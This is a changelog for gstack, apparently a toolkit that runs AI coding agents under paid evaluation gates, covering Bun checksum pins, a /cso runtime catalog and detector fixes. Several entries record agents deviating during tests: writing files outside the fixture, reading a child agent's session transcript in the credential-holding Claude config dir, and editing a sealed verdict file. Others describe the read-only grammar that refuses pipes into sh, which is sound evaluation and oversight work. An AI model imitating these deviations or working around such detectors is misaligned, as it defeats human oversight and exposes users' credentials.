**gstack installs on a project that pins Bun 1.4.4 again.** gbrain master moved its CI to Bun 1.4.4 (gbrain #7374, the Brotli CVE-2026-111497 fix), and gstack's Capy installer then stopped every gbrain session with `RUNTIME_PIN_CONFLICT` ("verified archives: 1.4.2 1.4.3 … pins exactly 1.4.4"), because it installs only Bun archives whose SHA-256 it carries. It now carries 1.4.4, so the same run installs the pinned Bun and ends `gstack: ok`.

### Fixed
- **`bin/gstack-bun-version.sh`**: `GSTACK_BUN_VERIFIED` is now 1.4.2 1.4.3 1.4.4, with 1.4.4's checksums for linux-x64, linux-x64-baseline and linux-aarch64, the targets 1.4.3 covers. They come from the release's `SHASUMS256.txt.asc`, whose clearsigned signature verifies against Bun's release key F3DCC08A8572C0749B3E18888EAB4D40A7B22B59 (Robobun, the key oven-sh/bun's own Dockerfiles assert), and each archive was downloaded and hashed to the same value. The 1.4.2 and 1.4.3 entries are unchanged and verify the same way. gstack's own minimum (1.4.2), install default (1.4.3) and CI pins do not move.
- **`test/gstack-capy-install.test.ts`**: a gbrain-like repo whose CI pins only 1.4.4 refuses `~/.bun` 1.4.3 and installs the 1.4.4 archive. **`test/bun-version-drift.test.ts`**: every verified version must carry a checksum for each installer target. The existing "verified archives" text assertions list 1.4.4.

## [1.91.181.0] - 2026-10-23

**/cso can run its contained runtime checks.** Before this release the runtime catalog qualified nothing, so /cso always fell back to static assessment. It now qualifies ten pinned images: Node 24.4.0, Bun 1.3.10, Python 3.13.4 with uv 0.8.0, Rails on Ruby 3.4.4, and PostgreSQL 17.2, each for linux/amd64 and linux/arm64. With Docker installed, comprehensive /cso boots the target app inside the matching image and tests findings and repairs against it. The images passed the private evaluator's release qualification (run-5 statements, re-delivered under Garry's approval). The ingress then checked them in qualify run 39674065531 at 514fbfd.

### Added
- **`lib/cso/runtime-catalog.json`** is now catalog `cso-v3-39674065531-133cb360842d`, which replaces `cso-v3-build-reviewed-2026-09-10`. Promote run 39841502986 generated it from qualification run 39674065531's authenticated statements and attested it. GitHub Actions committed the attested bytes (`sha256:078e0bf6…`). Each runtime's image is pinned to a public `ghcr.io/garrytan/gstack/cso-staging/…@sha256` digest, and each entry records its source commit (133cb36), SBOM and provenance digests, and requalification triggers (`preparationSha256` `c721b585…`).

### For contributors
- **The /cso free tests no longer assume the committed runtime catalog is empty.** Six tests pinned `runtimes: []` and broke as soon as a promotion landed. Tests that need an unqualified catalog now build one with `unqualifiedRuntimeCatalog()`. The replay tests expect whichever fail-closed rejection the committed catalog produces, so the suite passes with the catalog both before and after a promotion.

## [1.91.180.0] - 2026-10-22

**The /cso docs say what the qualified catalogs now allow.** AGENTS.md, the README and `docs/cso-release-qualification.md` still said that no qualified runtime or scanner image existed, so /cso ran static assessment only. The scanner catalog has been qualified since #3042. The runtime catalog becomes qualified with the runtime promotion PR that ships alongside this one.

### Changed
- **AGENTS.md**, **README.md** and **`docs/cso-release-qualification.md`**: the /cso entries name the ten qualified runtime images and the twelve scanner images, and say when /cso still falls back to static assessment: without Docker, or where no profile matches.

## [1.91.179.0] - 2026-10-22

**docsync-fault-interface fits its budgets under load again.** On 2026-10-18 it timed out under load on a Ubicloud full run. Its nested 36-case suite spent most of its time starting processes: each fault actor spawn loaded about 36 ms of imports (an empty bun takes 5.5 ms), inspect repeated Git reads, and the whole nested run sat under one 120 s outer test. With real Git on 4 cores, inner cases now take a 0.70 s median (max 1.25 s) unloaded, against 1.07 s before. Under 8 busy loops the max is 3.44 s, inside bun's default 5 s; before, cases reached 4.45 s. The worst outer test went from about 100 s of its 120 s cap to 33 s. No timeout, budget, retry, assertion or case changed.

### Fixed
- **`test/helpers/docsync-fault-actor.ts`**: imports only light helper modules, hashes with `Bun.CryptoHasher` instead of loading `node:crypto`, and loads the redaction engine only on the snapshot-failure path. inspect makes 8 Git calls instead of 11, and the snapshot base check reuses the `--base` it just passed. Each actor spawn now costs 15–19 ms.
- **`test/helpers/docsync-repo.ts`, `test/helpers/docsync-interface.ts`** (new): the fixture's Git and file helpers and `docsNativeInterface` moved out of the fixture and observer modules, so the actor stops loading the eval store and the QA observer. `docsync-fixture.ts` and `docsync-observer.ts` re-export them, so no importer changed. The fixture writes its Git identity with one append to `.git/config` instead of three `git config` calls.
- **`bin/gstack-docs-candidate`**: snapshot lists `ls-files` once instead of twice and hashes with `Bun.CryptoHasher`. A snapshot spawn went from 68 ms to 46 ms, and the record it writes is byte-identical.
- **`test/docsync-fault-interface.test.ts`**: the nested callback run is split into three outer tests by test-name pattern (10, 12 and 14 cases). Each part asserts its exact pass count, its exact filtered-out count and `0 fail`, so all 36 cases still run and the patterns are disjoint.

## [1.91.178.0] - 2026-10-22

**A /qa run no longer gets a hint that another report root could change its verdict.** Train gate 39646086155 failed qa-functional-webhook-fix once, and gate 39166935531 failed qa-functional-cli-fix the same way on 2026-10-18. Both times the agent ran `gstack-qa-evidence materialize`, read a fail verdict that ended "this verdict is final for this report root", and its very next call wrote a stray placeholder file in the fixture's parent directory (`qa-reports-placeholder-unused`, `qa-Q3vLqZ-placeholder`) before writing `report.md`. Each agent then reported the stray file itself. The out-of-fixture write detector was right both times and is unchanged.

### Fixed
- **`lib/qa-evidence.ts`**: materialize's `next` instruction now ends "this verdict is final. Next, write the Markdown report beside evidence.json." It names the next write and where it goes, instead of qualifying the verdict by report root.
- **`test/helpers/qa-functional-eval.ts`**: the functional fixture's declared interface says that every Write/Edit targets an owned path inside the working directory, and that a write anywhere else, including the parent directory, fails acceptance. That was already the acceptance rule; the prompt now states it.

### Gate integrity
- No detector, threshold, trial count or case kind changed. `test/qa-evidence.test.ts` pins the new `next` wording and checks that it no longer mentions a report root.

## [1.91.177.0] - 2026-10-22

**The /cso runtime promotion workflow can finish.** Promote run 39691485727 failed after its `cso-runtime-release` approval. Its "Generate a fail-closed catalog candidate" step calls `gh api …/compare` to prove the staged commit is an ancestor of the qualification head, but the step had no `GH_TOKEN`. On a hosted runner `gh` then exits 4 ("set the GH_TOKEN environment variable"). The run stopped before it signed, pushed or opened anything.

### Fixed
- **`.github/workflows/cso-runtime-promote.yml`**: the candidate step gets `GH_TOKEN: ${{ github.token }}`, like every other step there that calls `gh`.
- **`test/workflow-gh-token.test.ts`** (new): fails when any step in any workflow invokes `gh` with no `GH_TOKEN` or `GITHUB_TOKEN` in its step, job or workflow env. actionlint does not check this. This step was the only one in the repository missing a token.

## [1.91.176.0] - 2026-10-21

**A qualified /cso runtime set can be released again after the S1 shebang change.** The release contract fingerprints every source byte compiled into a runtime image (`preparationSha256`). S1 (#3312) changed only line 1 of the two compiled helpers, `lib/cso/verifier.ts` and `lib/cso/preparation-container.ts`, from `#!/usr/bin/env bun` to the isolated shebang. That line is embedded in the compiled binary as an unused string and never runs in the image, but it moved the fingerprint. Qualify run 39535948607 therefore refused the run-5 statements, staged at 133cb36, with `STALE_RUNTIME_QUALIFICATION: preparationSha256`. Garry chose this narrow rule change over a re-stage and a fresh paid qualification (2026-10-21, option 2).

### Changed
- **`scripts/cso-requalification.ts`**: `preparationSha256` hashes a compiled helper entrypoint's leading `#!` line as absent. Every other byte of the helpers, and every byte of every other image source including its shebang lines, still counts. 133cb36 and main both measure `c721b585…`.
- **`scripts/cso-runtime-promotion.ts`** (`releaseCandidate`): when the staging record's `preparationSha256` differs from the checkout's, the release contract re-measures it at the staged commit from git history. The record must match that commit under the current rule or the earlier one, which also hashed the shebangs; otherwise it fails with `REQUALIFICATION_TRIGGERS_MISMATCH`. The current-rule value is compared and recorded, so both sides use the same rule.
- **`cso-runtime-qualification.yml`, `cso-runtime-promote.yml`**: check out full history so the staged commit is readable.

### Gate integrity
- Gate edit, a narrowing with Garry's approval: the release contract's `preparationSha256` comparison ignores the leading `#!` line of the two compiled helpers on both sides. Nothing else gets a pass. `test/cso-runtime-promotion.test.ts` runs the contract on the real 133cb36 record (`b069f7ef…`) against a main tree. These still fail with `STALE_RUNTIME_QUALIFICATION`: a line-2 edit to either helper, an image Dockerfile edit, and a shebang edit to the image `entrypoint`. A record that matches neither rule at the staged commit fails with `REQUALIFICATION_TRIGGERS_MISMATCH`.

## [1.91.175.0] - 2026-10-21

**A free-suite flake now keeps the assertion that failed.** Four free-test flakes in the flaky ledger (plan-seed-submission, native-paste, qa-only preparation-late and the gstack-upgrade fresh-shell positive control) could not be diagnosed: each failed once on a Ubicloud or remote-pregate run, passed on the serial retry, and its log died with the machine that pulled it. The runner's console printed only the failing test's name, and the flake ledger recorded only the file.

### Changed
- **`scripts/test-free-shards.ts`**: the result reporter keeps the error bun printed before each `(fail)` line: from its first `error:` line, without blanks or CI annotations, at most 8 lines of 240 characters. The FAIL epilogue prints that excerpt under each `✗ <file> — <test>` line, so it reaches the console stream that remote pregates relay. A FLAKY-PASS ledger entry now records `tests: [{ name, excerpt }]` for each file. Existing ledger readers ignore the new field. Verdicts, retries and their cap are unchanged.

### Tests
- `test/test-free-shards.test.ts` replays the Windows team-init PowerShell failure as bun printed it (run 39448730953, attempt 1) and checks the excerpt and the epilogue. The real CLI flaky-retry routes (`retry-reader`, `retry-exclusive`) now check that the ledger entry names the failed test with `Expected: 2` / `Received: 1`.

## [1.91.174.0] - 2026-10-21

**Two paid eval flakes from the 2026-10-20 trains are repaired at their cause, with no threshold, trial count or case kind changed.** ship-local-hook-preservation failed in train gate 39440559183 even though the agent told the user "you'll need to set it up by hand": the manual-integration detector knew "set up" and "wire in" only with the particle right after the verb. ship-docsync-current lost a focused trial to an unquoted `grep … --include=*`, which the shared read-only grammar refuses on purpose because the shell expands the glob first; the grammar's declared interface said "unquoted glob matches included" and never said that an option's glob has to be quoted.

### Fixed
- **`test/helpers/ship-hook-actor.ts`**: the manual-integration sentence now accepts a pronoun object inside the phrasal verb (`set it up`, `set both up`, `wire them in`). The rest of the rule is unchanged: the sentence still needs "yourself", or "by hand" plus an addressee.
- **`test/helpers/read-only-commands.ts`**: the declared interface now says that an unquoted glob may stand only as a path operand, and shows the quoted option form (`--include='*.md'`, `-name '*.md'`). A refused globbed option names the quoted form in its reason (`globbed option: --include=*; quote the glob: --include='*'`). The grammar accepts and refuses exactly the same commands as before.

### Gate integrity
- Gate edit: the ship-local-hook-preservation detector (above). `test/ship-hook-actor.test.ts` replays all 8 Opus 5.5 train and backstop gate replies for the case (`test/fixtures/ship-local-hook-train-replies.json`, runs 39363705692–39515353585). Without the fix, the 39440559183 reply fails. New negative controls keep these refused: a first-person "I set it up by hand", a passive "It was set up by hand", "Whoever … needs to work out how to combine them" (no by-hand step), and "I wired them in myself".
- No grammar acceptance change. `test/read-only-command-grammar.test.ts` replays the captured `--include=*` command: it is still refused, its reason names the quoted form, the docsync interface carries the new sentence, and the quoted form and both examples are accepted.

## [1.91.173.0] - 2026-10-20

**Merge trains can merge slot 2 onward.** After slot 1 merges, main carries the new stamp, so every later pin conflicts with main on the stamp files and GitHub can't squash it. A lane makes its PR mergeable by merging main into the pin before it stamps. `verify --pr <n> --train <nonce>` refused that head as moved off its pin. Now it also accepts a head whose tree equals the slot's train prefix (T<i>) modulo stamps: exactly the tree the train's gate covered, and what main becomes once the PR squash-merges. The first live train stopped at slot 2 on this (gate.train-ac4baf961759-43d6ed28f2bf-9a1dbb). Plan GSTA-49.

### Fixed
- **`lib/ship-queue-train-verify.ts`** accepts a slot head that is either its pin plus stamps (as before) or T<i> modulo stamps, and the `head:` line says which. A head that matches neither is still `QUEUE_TRAIN_MOVED`, and the queue still freezes when earlier slots have merged.
- **`docs/ship-policy.md`** gives the per-slot lane procedure from slot 2 on: merge `origin/main` into the pin, resolve the CHANGELOG conflict with `mergeChangelogs`, then run `gstack-restamp --next`.

### Gate integrity
- `test/ship-queue-train.test.ts` builds a lane head with main merged into the pin and T2's tree stamped 1.2.5.0. It verifies, with `MERGE_CONDITION` at that head. The same head plus one file outside the train fails with `QUEUE_TRAIN_MOVED`. Without the fix, the positive case fails.

## [1.91.172.0] - 2026-10-20

**gstack now works the way Capy Captains run work: every decision goes to the Captain (or the person) in plain words, plan approvals arrive in a fixed before/after shape, each thread keeps a record of who approved what, and /ship's PR body shows before/after images of what changed.** Garry asked for this on 2026-10-20 ("make it much more obvious a/ how approvals work per thread, b/ for each plan approval i want a before/after, why it matters, what caused us to work on this, and big decisions you had to make, c/ when asking for merge guidance i want the PRs to show screenshots of what changed and why"). Everything below applies only when `GSTACK_CAPY=1` (the Capy launch line sets it). Other hosts keep their output, apart from one new `CAPY: off` STATUS line.

### Added
- **`capy-asks` runtime block (`bin/gstack-skill-start`).** Every workflow started in Capy prints `CAPY: on` and one instruction block. A crew thread asks its Captain with a needs-you report, and a thread with no Captain asks the person with a Capy question; never as a bare question or gate codes. Each ask states what it is, why it matters, what each answer does and costs, the pick, and the one-word reply. Plan approvals use the Captain brief. Every answer is recorded. Standing approvals the Captain lists are cited instead of asked again. A fixed list always needs a fresh ask: product or behaviour decisions, spend over a stated cap, publishing, threshold, budget or trial-count changes, closing someone's contribution, and anything destructive. `GSTACK_CAPY_ASKS=0` drops the block for one session. No generated SKILL.md grows.
- **Captain brief (`gstack-owner-brief render --captain --out <run>`, `lib/captain-brief.ts`).** It prints the plan ask in this order: a header with "Reply **rec**", then Before → after, Why it matters, What caused this work, Big decisions (read from the reviewed plan's sections, each capped with a pointer to the plan), and What we need from you, which lists every choice `rec` takes, in words. Gate ids, `gate_rev`, `rec_hash` and the exact `answer` command appear only on the last line, which is for the relaying agent. A plan missing a section renders "Not ready for approval" with no reply invitation and exits 1 (`CAPTAIN_BRIEF_INCOMPLETE`; `--allow-incomplete` previews). Under Capy, `gstack-autoplan` prints a `RELAY: gstack-owner-brief render --captain …` line next to every `GATE:` line and after `recommend`.
- **Per-thread approval record (`gstack-approvals`, `lib/approval-record.ts`).** `add --ask --words --by --scope [--pending] [--outcome approved|rejected|pending|standing]`, `import --autoplan <run> --by <name>` (one row per answer event, typed or relayed, idempotent), `render` (the `## Approvals` table), `list`, `sync`, `path`. Rows live at `<state root>/projects/<slug>/approvals/<branch key>.jsonl` (a readable prefix plus a hash of the exact ref). Under Capy they are mirrored to the private project-user Drive folder (or `GSTACK_APPROVALS_DIR`), because the machine's state root is thrown away. Every field passes the secret scanner before anything is written (`APPROVAL_RECORD_SECRET` names the field and rule, never the text). The table escapes mentions, links, images, HTML and citation-shaped text, so the ship receipt never reads it as an approval citation. A fresh Capy machine with no record and no mirror says "Record unavailable", not "No approvals recorded" (`APPROVAL_RECORD_UNAVAILABLE`).
- **Before/after images (`gstack-pr-shots`, `lib/pr-shots.ts`).** Takes a tracked file (optionally one heading's section, via the same fence-aware parser as the brief, `lib/markdown-sections.ts`) at the merge base and in the working tree, or two captures inside the repository. It writes a stacked Before/After page at GitHub's 880 px column, with changed hunks only, a −/+ gutter as well as colour, and "⋯ N unchanged lines" gaps, so a change deep in a file stays visible. It also writes `text.md` (a collapsed unified diff for the PR body) and renders `pair.png` through `lib/aside-render.ts`. It reads text only and runs nothing. Inputs are size-capped, ANSI-stripped, refused when binary or outside the repository and state root, and secret-scanned before rendering; refs are resolved without option parsing. With no browser it prints `SHOT_PNG: unavailable (…)` and exits 0, so the caller can screenshot `shot.html` itself.
- **/ship Capy section (`ship/sections/capy-pr.md`).** When Step 19 prints `CAPY_PR: on`, the PR body opens (after the receipt) with `## What changed`: one to three captioned before/after images uploaded with Capy's PR asset tool, public repositories only, each with its text version under it. Then come `## Why` and `## Approvals` (`gstack-approvals render`), and the READY report attaches the key image. Outside Capy the section is never read.
- **Capy skill: "Working under a Captain" plus `capy/skill/gstack/captain.md`.** The skill now explains in one section how approvals flow, what standing approvals look like, what always needs a fresh ask, the record, the plan-ask shape and the merge-ask shape. `captain.md` has the worked commands. `autoplan/DRIVER.md`'s "On Capy" rules name the four plan sections, the brief and the import.

### Changed
- **Owners refresh their Drive skill copy by hand.** The skill folder gained guidance ("Working under a Captain", `captain.md`); the bootstrapper is unchanged, so the wrapper stays at 2 and no stale-copy notice fires. Copy the folder over the Drive skill to pick it up: `cp -R ~/.local/share/gstack/capy/skill/gstack/. <drive>/skills/gstack/`.
- **Gate integrity (a gate edit): context-budget ceiling for `capy/skill/gstack` 2923 → 3498 tokens (`test/fixtures/context-budget.json`, that entry only)** for the new section; no other ceiling moved.
- **Gate integrity (a gate edit): ship's parity union cap `maxSizeRatio` 1.6488 → 1.6690 (`test/helpers/carve-guards.ts`).** The only growth is the on-demand `capy-pr` section plus a three-line `CAPY_PR` check and one manifest row, measured at 313,265 / 187,706. A non-Capy ship never loads the section. The skeleton stays under 81,000 bytes. No eval threshold, trial count, case kind or budget changed.

### Tests
- `test/approval-record.test.ts`, `test/captain-brief.test.ts`, `test/pr-shots.test.ts`: branch keys and containment, secret refusal with nothing written and nothing echoed, citation-proof escaping checked against `parseCitations`, idempotent import of typed and relayed answers, mirror restore and the unavailable state, brief order, gate ids only on the agent line, `rec_hash`, incomplete and answered states, change-centred hunks (a change at line 240 of 300), HTML escaping and CSP, section extraction at a base commit, option-like refs, outside files and the no-browser path. `test/gstack-skill-start.test.ts` pins `CAPY` in the STATUS contract and the block's on/off/quiet behaviour. Ship goldens are regenerated.

## [1.91.171.0] - 2026-10-20

**A restarted `/ios-qa` daemon resumes the device session instead of relaunching the app.** The app's boot token works once, so a new daemon process used to have no way back in except `devicectl process launch --terminate-existing`, which wiped the app's QA state. The daemon now writes the rotated StateServer bearer to `$GSTACK_STATE_ROOT/ios-qa-session.json` (mode 0600, through a fresh temp file) after every successful bootstrap, bound to the device UDID, bundle ID and StateServer port, and a new daemon tries it once on its first device request. The bearer goes only to the tunnel address `devicectl` reports for the bound UDID, after `/healthz` names the same bundle; there is no mDNS or remembered-address fallback. The daemon bootstraps normally, without sending the bearer, when the target UDID, app or port differs, another device or app answers, `devicectl` reports no address, or the file is not private to you (the file is removed unused). A bearer the app rejects is cleared before the bootstrap and never presented again, and the boot token is never written to disk. `/ios-qa` Phase 0 now describes this file instead of a cache no code wrote. Draft until verified on a real iPhone.

- Thanks @Bmathews721 (#1796) for the diagnosis, the hardware repro and the reuse scenarios the new tests carry.

## [1.91.170.0] - 2026-10-20

**/autoplan no longer stops a healthy run with a false "event order" or "init" denial when Claude Code is slow to write its session journal.** Daily flaky-fix pass, group 5 (other paid cases): the same pass clarifies how the office-hours reviewer recovers from a seal error and fixes two plan-review floor harness gaps in reading cropped permission menus.

### Fixed
- **/autoplan publication guard (`autoplan/bin/phase-publication-hook.ts`).** If you ran /autoplan on Claude Code 2.1.292, the first Phase 1 step could be blocked with "The native parent event order is unavailable or inconsistent" (code `event_order`) or "needs its own successful init" (code `init_own`), even though the init had already run. Claude Code can run the guard's hook before it writes that turn's earlier steps to the session journal, so the guard judged a journal that did not yet show them. The guard now keeps reading inside its existing 2-second window while the journal shows no step yet, or nothing since your latest message. If Claude Code still has not written it, a journal with no steps lets the call proceed with the existing "unverified" warning (`journal_lag`). A journal that ends at your message gets the normal check, so a run that really skipped init is still denied. Seen on PR gate 39333263804 (`autoplan-guard-pty`, attempt 1).
- **Office-hours spec reviewer (`lib/office-hours-review.ts`).** The reviewer prompt's "Do not use Edit" sat in the sentence about not changing the design, so a reviewer could patch its own verdict file with Edit after a seal error. The prompt now forbids Edit on every file, the verdict file included, and says to Write the complete corrected JSON to the same path and run the seal command again.

### Tests
- **Plan-review floor harness (`test/helpers/plan-count-file-permission.ts`).** A cropped owned plan-file Edit menu whose top row is the cwd-relative file row (a bare basename for a file in the working directory) now binds to its pending Edit. Before, only an absolute or `./` row was accepted, so `plan-ceo-finding-floor` sat on the menu until its 600 s timeout (PR gate 39293281037, attempt 1). The row must name the menu's own file and still resolve to the owned path.
- **Same harness, quote guard.** The guard that keeps a quoted AskUserQuestion from passing as a permission menu matched any row that began with whitespace and `>`, including a soft-wrapped preview row that continued a table cell with `>activation->paid)`. It now matches a quote or fence only within four columns. Wrapped continuations start at five columns or more, and every preview row is still bound to the owned file's bytes. This stalled focused trial t3 on its owned Create menu (`permission_unanswered` at 92 s).
- `test/autoplan-publication-payload.test.ts` replays the captured journal shape (slash turn and meta skill body, no public event). Flushed inside the window, it gets the normal verdict; never flushed, it is `journal_lag`. Negative controls: a late flush that shows an unpublished phase is still `publication_missing`, an `/autoplan` turn whose init never appears is still `init_own`, and the evaluation denies empty, foreign-session and out-of-order events as `event_order`. Without the fix, four of these fail with `event_order` and `init_own`.
- `test/plan-edit-cropped-permission.test.ts` adds the captured gate viewport as fixture case `ci-39293281037-a1` (Edit input reconstructed from its diff rows, as for t07 and t08). It is granted once from its own PreToolUse input. Negative controls: a foreign directory, a foreign basename, a numbered diff row, a changed diff row and an unwitnessed Edit are refused.
- `test/plan-create-prepublication.test.ts` adds trial t3's viewport as `test/fixtures/plan-ceo-floor-create-quote-wrap.json`. It is granted once from its own PreToolUse Write input. Negative controls: a quoted row, a fence and a checkbox above the menu, and a changed continuation row, are refused.
- `test/office-hours-review.test.ts` pins the reviewer's seal-error recovery. `test/office-hours-completion.test.ts` checks that the validator accepts a seal error recovered by a complete re-Write and rejects the same recovery done with Edit.
- Gate integrity: no threshold, trial count, case kind, quarantine or budget changed.

### Gate integrity

## [1.91.169.0] - 2026-10-20

**The docs-sync fixture now accepts joined Git reads, `for` loops over literal file names and a pipe into `tr` as reads, and tells the actor that the Claude config dir is off-limits. The late-result fixture now says what its one repair corrects.** In the last 20 Opus gates, `ship-docsync-current` went red 3 times. Two of those were pure reads the validator rejected: `cat personal-note.txt; echo ---; git diff main HEAD` (run 39347827595) and `for f in …; do echo "=== $f"; cat $f; done` (run 39344306426). The third (run 39338691964) was a real deviation: a stray `for_none=1;` assignment, plus the parent reading its child's session transcript under the fixture's CLAUDE_CONFIG_DIR. Both still fail. Focused trials then hit `git ls-files -z … | tr '\0' '\n'` twice, a form Fable also used in run 39186278010. `ship-docsync-late-result` went red once (run 39367310001): the parent stopped the hung child and judged that no concrete correction was available, because the prompt never said what the declared repair corrects. Focused Opus 5.5 trials: on the final tree, `ship-docsync-current` 4/5 and `ship-docsync-completion` 5/5. The current red was an unquoted `--include=*` that the shared grammar rejects as a globbed option, which is outside this change, and it passed its rule-16 rerun. Earlier trees: `ship-docsync-current` 5/5 (before `tr`), `ship-docsync-late-result` 5/5 (first repair), and one trial each of the other nine docs-sync cases, all passing.

### Changed
- **Gate integrity (a gate edit): joined Git reads, reversing #3288's choice.** #3288 (v1.91.143.0) kept Git reads out of grammar lines and told the actor to run each one alone, after Fable joined them in run 39186278010. Opus kept joining them anyway (run 39347827595), and a joined pure read is no less read-only than the same reads run one by one. So `test/helpers/docsync-observer.ts` now accepts a declared Git read joined with `;`, `&&` or `||` to the shared grammar's reads or to another Git read. The Git read is still checked literally against the declared list and stands in the line as a neutral read for the grammar. It is refused after a `cd` and as a pipe sink, and Git global options, Git writes, lifecycle, candidate, Preamble and script commands still never join. Controls that pinned `git rev-parse HEAD; git status`, `git rev-parse HEAD && git status`, `git rev-parse HEAD | cat`, `git check-ignore -v .qa-state; ls`, `git ls-tree -r HEAD | head`, `git status; ls`, `git log | head -5` and `git status; git branch --show-current; git rev-parse HEAD` as rejected now pin a joined Git write, bypass or shell sink instead (`test/docsync-command-grammar.test.ts`, `test/read-only-command-grammar.test.ts`, `test/fixtures/docsync-observer-commands.json`). The test "docsync keeps Git reads out of grammar lines" is now "docsync accepts joined Git reads".
- **Gate integrity (a gate edit): loops.** A `for` loop anywhere in a line counts as its unrolled passes, but only with a lowercase variable, words that have no quotes, globs, braces, tilde or `$`, no other variable in the body and no nested loop. The completed-read check credits a `cat` of the document inside such a loop.
- **Shared read-only grammar: `tr` (docs-sync and qa-only).** `test/helpers/read-only-commands.ts` accepts `tr` only after a pipe, with `-c`, `-C`, `-d`, `-s` or `-t` and one or two literal sets. It rejects `tr` as a first command, a third operand, a set holding `$`, a backtick, a brace or an unquoted glob, a redirect, and `tr … | sh`. The grammar's interface text says so, and qa-only's deadline fixture has its own accepted and rejected `tr` controls.
- **Interface text.** The declared docs-sync interface now says joined Git reads and loops are accepted. It also names `actor-state.json` and the Claude config dir (except `settings.json`) as unreadable, because the dir holds credentials and every agent's session transcript, and it says a child is judged by the output it returns.
- **Late-result fixture prompt.** The repairable launcher's `repair` now says it corrects the spawned-marker setup and the child transport, the faults behind a missing marker or a child that returns nothing by the Collect deadline. `test/docsync-fault-interface.test.ts` checks that only repairable prompts say so.

### Fixed
- **Free regressions.** The captured composed reads of runs 39347827595 and 39344306426, and of the focused trials, run in a fixture and leave the repository unchanged. Negative controls keep the run 39338691964 forms rejected, along with joined Git writes, `-c`/`-C` options, pipe sinks, `cd`, redirects, loop redirects, globbed, quoted, braced or tilde loop words, uppercase loop variables, stray variables, nested loops, and `tr` used outside a pipe or with a non-literal set.

## [1.91.168.0] - 2026-10-20

**Four QA paid cases stop failing on valid or unclear agent behavior: `qa-only-no-fix` accepts reads joined with its exact bookkeeping calls, and the QA-callers fixture says where the handoff check goes and stops counting the explicit plan check as a wasted rerun.** Daily flaky-fix pass (GSTA-57), from the captured events of Opus gate runs 39313931713, 39332134395, 39336730429, 39320737890, 39181697029 and 39351737002.

### Changed
- **Gate integrity, widening (`test/helpers/qa-browser-deadline-evidence.ts`):** `qa-only-no-fix` failed three times with `QA deadline: unsupported outer shell composition`. Each time the agent joined grammar reads with one of the fixture's exact bookkeeping calls outside the guard, for example `ls -la; git -C <fixture> branch --show-current`. The deadline check now accepts a `;`, `&&` or `||` join in which every command is an exact listed bookkeeping call or a shared-grammar read checked from the fixture root, and the fixture prompt declares that join. Still rejected, each with a negative control: a joined guard call, a browser command before or after the join, a git call outside the exact list (`-c` options, other subcommands), `cd` inside a join, a pipe into `sh`, `&`, substitutions, newlines, escaped `;`, a dangling `&&`, a read outside the root, the readiness block with an appended command, and a `QA_DEADLINE ` receipt in the output. The existing "unbatched metadata" control now joins the metadata call with an unguarded browser command, since two exact calls joined are accepted. A free replay runs all 100 non-guard Bash commands from 11 captured attempts (3 failed, 8 passed) inside a real guarded attempt; the three failed attempts fail on the previous helper with the CI message. No threshold, kind, trial or quarantine change. The replay fixture `test/fixtures/qa-only-bookkeeping-joins-public.json` is registered in the `qa-only-no-fix` touchfiles.
- **Gate integrity, widening (`validateCallerEvidence`):** `ship-exploratory-plan-checks` failed with `duplicate unchanged passing probe` after the agent ran `bun scripts/probe.ts 9` as a guarded smoke probe and then as PLAN.md's release check with `--timeout-ms 10000`, the form the prompt reserves for an explicit plan check outside the smoke budget. One explicit plan check beside the smoke probe is no longer a duplicate. A guarded repeat of the same input, a second plan check, and ordinary input under the plan-check form still are. A free replay runs the captured capture sequence through the real helpers in a real fixture.
- **QA-callers prompt (`qaCallerSessionOptions`):** the handoff freshness check is one rule. Read HANDOFF.md and reports/HANDOFF.md and wait for the results in an earlier message than each of three things: `materialize` (it runs once per report root and freezes the verdict), every `completed:true` review record including `adversarial-review`, and the completion report. `review-exploratory-small-cli` failed twice when the agent wrote the adversarial-review record in the same response as its first HANDOFF Read (39320737890) or before any Read (39332134395); the detector was right, and a free replay of both captured event sets keeps them failing and passes them reordered. `ship-exploratory-late-input` failed twice when the agent materialized before reading the late reports/HANDOFF.md, so a refused second `materialize` left a stale `pass` verdict beside an honest `inconclusive` receipt.
- **Focused paid runs (Opus 5.5, gate tier, this tree):** `qa-only-no-fix`, `review-exploratory-small-cli`, `ship-exploratory-plan-checks` and `ship-exploratory-late-input` each passed 5 of 5 ($14.98 total). One `qa-only-no-fix` trial used two bookkeeping joins that the previous helper would have failed.

## [1.91.167.0] - 2026-10-20

**Two paid detectors now accept the rewordings Opus 5.5 actually uses, with their negative controls kept (daily flaky-fix pass, GSTA-57).** `plan-design-with-ui-scope` went red three times on the ledger with "no acknowledged Design focus" while the agent had asked Step 0D and a numbered finding; `tpa-absent-darwin` went red once on a valid download pitch.

### Fixed
- **`plan-design-with-ui-scope` focus detector (test/skill-e2e-plan-design-with-ui.test.ts).** The Step 0A rating now counts as any sentence that scores design completeness out of 10 (run 39363705692 wrote "I rated this plan 4/10 for design completeness"; the 0A example says "This plan is a 3/10 on design completeness"), and the all-seven option may name the seven any way ("All 7 areas (recommended)"). The title, focus and option-order requirements are unchanged. Replays of all three ledger failures (runs 39315041557, 39344306426, 39363705692, attempt 1) and their passing reruns now pass the detector; 39363705692's captured calls are a fixture (`test/fixtures/design-ui-focus-capture-39363705692.json`). New negative controls: a score and "design completeness" in different sentences, a score out of 7, a non-design completeness score, an all-seven option without a focus title, a non-leading or issue-labelled all-seven option, a bare "All 7" option, and the run without its focus question all still fail.
- **`tpa-absent-darwin` pitch detector (test/helpers/third-party-actions.ts).** The canonical phrase may name Aside as "it" once the macOS 15+ floor follows ("If you want to use Aside: download it (macOS 15+) at aside.com", run 39315041557, now a capture in `test/fixtures/third-party-actions-pitch-captures.json`). It keeps the canonical phrase's guards: clause start, no negation before it, no quoted or reported mention. The short forms without the floor still count only at a sentence start.
- **Gate integrity:** test-only detector edits. No threshold, trial count, case kind, quarantine or budget changed.

## [1.91.166.0] - 2026-10-20

**Two load-sensitive free tests from the flaky ledger now measure what they test.** Daily flaky-fix pass, 2026-10-20, free and load-sensitive group.

### Fixed
